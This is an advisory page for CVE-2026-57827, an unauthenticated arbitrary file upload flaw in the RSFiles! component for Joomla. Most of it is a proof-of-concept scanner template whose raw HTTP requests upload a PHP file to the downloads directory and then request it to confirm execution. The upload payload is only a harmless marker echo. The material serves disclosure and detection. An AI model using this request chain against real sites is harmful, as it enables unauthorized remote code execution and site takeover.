CVE-2026-57827: RSFiles! for Joomla - Arbitrary File Upload

2026-08-18 RSFiles! for Joomla PoC Public

Description

RSFiles! (com_rsfiles) for Joomla < 1.17.12 allows unauthenticated arbitrary file upload via the rsfiles.upload task. The write method performs no authentication, CSRF token, or file extension checks, allowing upload of executable PHP files to the web-accessible downloads/ directory.

PoC

id: CVE-2026-57827

info:
  name: RSFiles! for Joomla - Arbitrary File Upload
  author: omarkurt
  severity: critical
  description: |
    RSFiles! (com_rsfiles) for Joomla < 1.17.12 allows unauthenticated arbitrary file upload via the rsfiles.upload task. The write method performs no authentication, CSRF token, or file extension checks, allowing upload of executable PHP files to the web-accessible downloads/ directory.
  impact: |
    Unauthenticated remote code execution via PHP webshell upload.
  remediation: |
    Update RSFiles! to version 1.17.12 or later.
  reference:
    - https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/
    - https://vulnerabletarget.com/VT-2026-57827
    - https://www.rsjoomla.com/blog/view/644-unauthenticated-file-upload-fixed-in-rsfiles-version-11712-update-now.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-57827
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-57827
    epss-score: 0.02328
    epss-percentile: 0.82656
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: rsjoomla
    product: rsfiles
    framework: joomla
    shodan-query: http.html:"com_rsfiles"
    fofa-query: body="com_rsfiles"
  tags: cve,cve2026,joomla,rsjoomla,rsfiles,file-upload,rce,intrusive

variables:
  marker: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /index.php?option=com_rsfiles&task=rsfiles.checkupload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"status\":\"ok\"")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php?option=com_rsfiles&task=rsfiles.upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----RSFilesBoundary57827

        ------RSFilesBoundary57827
        Content-Disposition: form-data; name="file"; filename="{{marker}}.php"
        Content-Type: application/x-php

        <?php echo 'VT-2026-57827-{{marker}}'; ?>
        ------RSFilesBoundary57827--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"status\":\"success\"")'
        condition: and
        internal: true

  - raw:
      - |
        GET /downloads/{{marker}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - "contains(body, 'VT-2026-57827-{{marker}}')"
        condition: and
# digest: 490a0046304402200e6e2915a330f920055f7749e15b3de072e74892620815038d8535a9a7d9bd0b022026d19cc7d7464c7068e9babaf32ded3b3d7ce2254ef2a8412514a8a1a8c0076c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities